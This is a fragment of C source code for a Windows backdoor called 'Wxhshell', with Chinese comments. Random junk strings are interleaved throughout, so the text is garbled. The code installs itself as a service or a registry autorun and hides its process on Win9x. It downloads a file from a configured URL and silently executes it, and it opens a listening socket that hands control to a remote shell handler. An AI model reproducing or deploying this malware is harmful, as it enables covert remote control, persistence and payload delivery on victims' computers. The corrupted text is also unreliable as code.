PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); umm \r&]A if(hProcess==NULL) return 0; *"ykTqa
Ep<!zO| HMODULE hMod; QP$nDK< char procName[255]; s`#ntset0 unsigned long cbNeeded; 4\1wyN /}M b~/Wnp5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AJ\VY;m7F *f `s%&Y]s CloseHandle(hProcess); i0'Xy>l nOoKGT if(strstr(procName,"services")) return 1; // 以服务启动 i $[,-4v a:yB%:2 return 0; // 注册表启动 c>S"`r } >G<\1R rkfQr9Vc // 主模块 9V=<| 2 int StartWxhshell(LPSTR lpCmdLine)
8>Du { d<^_w!4X} SOCKET wsl; [_
M6/ BOOL val=TRUE; hGed/Yr int port=0; B:O+*3j struct sockaddr_in door; '!wPnYT@D ^V<J69ny|9 if(wscfg.ws_autoins) Install(); 6%ZHP? H_?;h-Y] port=atoi(lpCmdLine); 1UW s_|X! e(}oq"'z if(port<=0) port=wscfg.ws_port; k;;nE o~6 N<aB)</ WSADATA data; n2n00%Wu[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #"Eks79s t7|MkX1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OgEUq'' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k40Ep(M} door.sin_family = AF_INET; vIVw'Z(g} door.sin_addr.s_addr = inet_addr("127.0.0.1"); #
#k #q=4 door.sin_port = htons(port); @A
[)hk&(R M5']sdR(l if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /rIm7FW) closesocket(wsl); yy1>r }L return 1; <G\
<QV8W } 6sYV7w,'@ .-.q3ib if(listen(wsl,2) == INVALID_SOCKET) { j7@!J7S closesocket(wsl); ljup#:n return 1; nU}~I)@V } CV!;oB&
Wxhshell(wsl); OM20-KDc5 WSACleanup(); :v#k&Uh3y $Hp.{jw return 0; j';n8|Y9 h`?y2?O } Hs[}l_gYn M0O>Ljo4RN // 以NT服务方式启动 R(: 4s VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =QrA0kQR { 0SJ{@* DWORD status = 0; YO)')& DWORD specificError = 0xfffffff; LIr(mB"Y0 R]CZw;zS_ serviceStatus.dwServiceType = SERVICE_WIN32; 3hc#FmLr2b serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'Z\{D*=V8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X!T|07#c serviceStatus.dwWin32ExitCode = 0; TkA9tFi serviceStatus.dwServiceSpecificExitCode = 0; \4OK!6LkI serviceStatus.dwCheckPoint = 0; B^Xy0fq serviceStatus.dwWaitHint = 0; G3H#XK D mYjf5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'To<T if (hServiceStatusHandle==0) return; 3QCMK^#Z: ewo*7j4* status = GetLastError(); XDHLEG-u( if (status!=NO_ERROR) xttYn]T { m+Y@UgB serviceStatus.dwCurrentState = SERVICE_STOPPED; hgj CXl serviceStatus.dwCheckPoint = 0; HKpD2M serviceStatus.dwWaitHint = 0; [FB&4>V/ serviceStatus.dwWin32ExitCode = status; )nhfkW=e serviceStatus.dwServiceSpecificExitCode = specificError; ;)gLjF/F7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); --Oprl return; c+1vqbqHG }
LlU'_}> PM@XtL7J serviceStatus.dwCurrentState = SERVICE_RUNNING; j\!
e9M serviceStatus.dwCheckPoint = 0; f](I.lm: serviceStatus.dwWaitHint = 0; Z%Vr+)!4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?hKm&B;d } 6%>/og\% {n\6BTs // 处理NT服务事件,比如:启动、停止 !2(.$}E VOID WINAPI NTServiceHandler(DWORD fdwControl) Cq gJ { m6-76ma,hi switch(fdwControl) ]+AAT=B<! { Y]~IY?I case SERVICE_CONTROL_STOP: Bk+{} serviceStatus.dwWin32ExitCode = 0; P2>:p%Z serviceStatus.dwCurrentState = SERVICE_STOPPED; SAP;9*f1\ serviceStatus.dwCheckPoint = 0; 8AryIgy>@ serviceStatus.dwWaitHint = 0; D^nxtuT* { >Z}@7$(7!~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); B-$+UE>% } XHy? return; fc3 Fi'^ case SERVICE_CONTROL_PAUSE: 3a%xn4P serviceStatus.dwCurrentState = SERVICE_PAUSED; 5|CzX X#U break; U>oW~Z case SERVICE_CONTROL_CONTINUE: 0k%hY{ serviceStatus.dwCurrentState = SERVICE_RUNNING; `\wUkmH break; Bn{)|&; case SERVICE_CONTROL_INTERROGATE: $iwIF7,\P break; ^dh=M5xz) }; ?<E0zM+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); {ZG:M}ieN } iNXFk4 (X*9w##x( // 标准应用程序主函数 E&'#=K[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W;.{]x.0 { .`Sw,XL5 :xM}gPj" // 获取操作系统版本 Y hS{$Z OsIsNt=GetOsVer(); u-kZW1wrQ GetModuleFileName(NULL,ExeFile,MAX_PATH); ~*,Wj?~+7 > <X $# // 从命令行安装 w m19T7*L if(strpbrk(lpCmdLine,"iI")) Install(); mdaYYD=c% # J]~ // 下载执行文件 <iRWd if(wscfg.ws_downexe) { X3AwM%,! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zLL)VFCJW WinExec(wscfg.ws_filenam,SW_HIDE); b) Ux3PB } rfX=*mjt e^=NL>V6p if(!OsIsNt) { g*F~8+]Y // 如果时win9x,隐藏进程并且设置为注册表启动 Y!M~#oqio HideProc(); l/M[am StartWxhshell(lpCmdLine); 5E`JD } ZEqE$: else u7[pLtOwN if(StartFromService()) $]1qbE+ // 以服务方式启动 l**3%cTb StartServiceCtrlDispatcher(DispatchTable); P0)AUi else 0TmZ*?3!4 // 普通方式启动 hD*(AJ StartWxhshell(lpCmdLine); 2qlIy {a.
<` return 0; {gw[%[ZM }
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